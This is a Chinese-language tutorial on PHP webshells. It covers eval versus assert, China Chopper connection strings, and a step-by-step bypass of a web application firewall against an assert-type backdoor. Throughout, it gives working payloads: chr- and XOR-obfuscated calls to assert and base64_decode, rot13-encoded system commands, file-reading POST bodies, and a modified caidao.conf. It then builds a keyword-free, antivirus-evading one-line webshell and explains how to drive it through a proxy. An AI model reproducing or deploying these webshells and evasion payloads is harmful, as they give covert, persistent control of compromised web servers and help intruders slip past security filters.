0x00 eval和assert的區別
http://www.php.net/manual/zh/function.eval.php
http://php.net/manual/zh/functions.variable-functions.php
1)assert是函數,eval不是函數,是語言構造器
2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代碼,也可以是php代碼的字符串,assert($a)的$a如果是字符串形式不能有2個以上的分號,如果有2個以上的分號只執行到第一個,使用assert來執行多條php語句可借助eval來實現
eg.
1
|
assert(eval("echo 1;echo 2;"));
|
[注意上面這句如果是assert(eval("echo 1;echo 2"));這樣寫是不會執行echo 1也不會執行echo 2的,因為eval使用的字符串要是有分號的php語句]
eg.
1
|
assert(eval(base64_decode($_POST[cmd])));
|
菜刀的連接方式為:
1
|
assert(eval(base64_decode($_POST[z0])));
|
新版菜刀無法連接assert類型的一句話,因為新版菜刀將連接方式改成了:
1
|
chopperPassValue=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval($xx($yy[z0]));
|
相當於:
1
2
|
$xx="base64_decode"
@eval($xx($_POST[z0]))
|
也即新版菜刀這里有兩個以上的分號導致無法連接assert類型的一句話
2011年前的菜刀支持assert類型的webshell,2014年以后的菜刀不支持assert類型的webshell
3)實例
a)assert(phpinfo());
或
b)assert("phpinfo()");
或
c)assert("phpinfo();");
上面3個都是可以的,因為PHP函數中的參數如果是字符串可以不加雙引號,但是:
a)assert(phpinfo();)不可執行,因為assert后面要接一個表達式,phpinfo();不是表達式,是一條php語句,但是換成assert("phpinfo();")就可以執行了,這樣"phpinfo();"當作是一個表達式,但是"phpinfo();print_r(666);"[assert的參數為字符串時字符串的引號中有多個分號時]不被當作表達式
b)assert("echo 1")是不可執行的,因為assert不能執行echo,eval("echo 1")是可以的,assert類型的webshell不能用echo來檢測,可以用print_r(1),也即assert("print_r(1)")或assert("print_r(1);")都是可以的
c)assert("print_r(1);print_r(2);")或assert("print_r(1);print_r(2)")都只能執行print_r(1),assert只會執行到第一個分號內的語句
0x01 一個waf的繞過過程
1. waf過濾大部分關鍵字,eg.base64_decode,``,system等
2.嘗試用如下方法繞過[uri=mytag_js.php?aid=9527],是個assert類型的webshell,通過echo不能執行,print_r可以執行判斷出不是eval類型webshell
3.考慮有可能是新版菜刀不支持assert類型的webshell連接,換成老版本菜刀依然失敗,換成下面過waf的菜刀依然失敗http://joychou.org/index.php/web/make-own-chopper-which-can-bypass-dog.html
4.hackbar中post:[下面假設密碼是x]
1
|
x=eval("echo 1;$one=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103));$three=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));echo $_POST[nihao];")&nihao=cGhwaW5mbygp
|
其中$one="assert",$three="base64_decode",$nihao="phpinfo()"以base64編碼后的結果,結果無法成功執行phpinfo(),將chr去掉變成:
x=eval("echo 1;echo $_POST[nihao];")&nihao=cGhwaW5mbygp,可以執行簡單的echo,現在要想辦法把$one和$three換成其他形式,其他不是chr組合的形式
5.嘗試post換成如下數據[沒有chr]:
1
|
x=eval("echo 1;$one='assert';$three='b'.'as'.'e'.(64).'_decode';@$one(@$three($_POST[nihao]));")
|
依然失敗
6.嘗試不用base64_decode,用rot13
1
|
x=eval(' assert(str_rot13("cucvasb()")) ;')
|
可執行phpinfo()語句,嘗試執行system("whoami"),如下:
1
|
x=eval(' assert(str_rot13("flfgrz(\"jubnzv\")")) ;')
|
執行失敗,有可能是php禁用了命令執行函數或服務器開啟了安全模式
7.考慮直接執行讀文件php代碼
1
2
3
4
5
|
x=eval('$filename ="../index.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
print_r($contents);
fclose($handle);')
|
結果可以執行成功,只是控制起來不方便,每次要自己寫php代碼,嘗試改chopper,將里面的關鍵處的base64_decode換掉
8.最新版本的菜刀可配置度較高,但仍然采用base64加密傳輸,在菜刀目錄下有個caidao.conf利用下面兩個特性更改<PHP_BASE>標簽中的連接方法可過狗:
a)assert類型的webshell正常情況下只能執行一句話[一個分號內的內容],想讓assert類型的webshell執行多句PHP代碼,可借助eval執行多條命令
b)把base64_decode想辦法混淆eg.將caidao.conf中的PHP_BASE改成如下內容:
1
|
eval('$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);@eval($a("%s"));');
|
成功過狗
9.在waf阻攔下無法連接一句話chopper時,每種waf的阻攔規則不一樣,可在新版chopper目錄下放多個不同的可過waf的配置文件備用,一個caidao.conf不過狗時再用其他caidao.conf,有效配置為"caidao.conf"文件
0x02 免殺無特征無關鍵字一句話
1. 用chr(%d)^chr(%d)代替上面的chr
1
2
3
4
|
for($i=1;$i<=200;$i++)
{echo 'chr(19)^chr('.$i.') is:';
echo chr(19)^chr($i);
echo '<br>';}
|
2. 上面的php代碼可得到以chr(19)為基礎的關鍵字的組合形式如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
chr(19)^chr(114) is:a
chr(19)^chr(96):s
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(97) is:r
chr(19)^chr(103) is:t
chr(19)^chr(113):b
chr(19)^chr(114):a
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(37) is:6
chr(19)^chr(39) is:4
chr(19)^chr(76) is:_
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
chr(19)^chr(112) is:c
chr(19)^chr(124) is:o
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
|
3. 組合
1
2
3
|
$a=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103)) ;
$b=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));
$a($b($_POST[cmd]));
|
4. 用法
eg.
在hackbar中post:
1
|
cmd=ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==
|
其中ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==是eval('echo 1;phpinfo();')的base64編碼的結果
如果要執行更復雜的功能可通過以下步驟:
a)在菜刀中新加webshell的url和對應密碼
b)_charles開sock5代理,eg.127.0.0.1:8889
c)用proxfier設置菜刀[任意版本菜刀都可]的代理為b)中提供的127.0.0.1:8889
d)把想做的動作在菜刀中做出來,在charles中查看對應的base64編碼過的代碼是什么
e)將d中得到的base64編碼過的代碼用hackbar或其他工具base64decode,將解碼后的php代碼替換上面eval('echo 1;phpinfo();')中的echo 1;phpinfo();后再將eval('這里是解碼后的代碼')這個整體用hackbar或其他工具base64編碼下
f)最后將cmd=xxxxxxxxxxxx 在hackbar中post出去,其中xxxxxxxxx是e中編碼后的結果
5. 特點
a)傳輸的數據是base64加密過的沒有任何關鍵字的數據
b)服務端一句話沒有任何關鍵字
c)利用方式不是很方便
0x03 相關鏈接
mytag_js.php樣本文件及分析
樣本文件:https://github.com/3xp10it/webshell/tree/master/mytag_js
相關分析:http://www.nxadmin.com/penetration/1168.html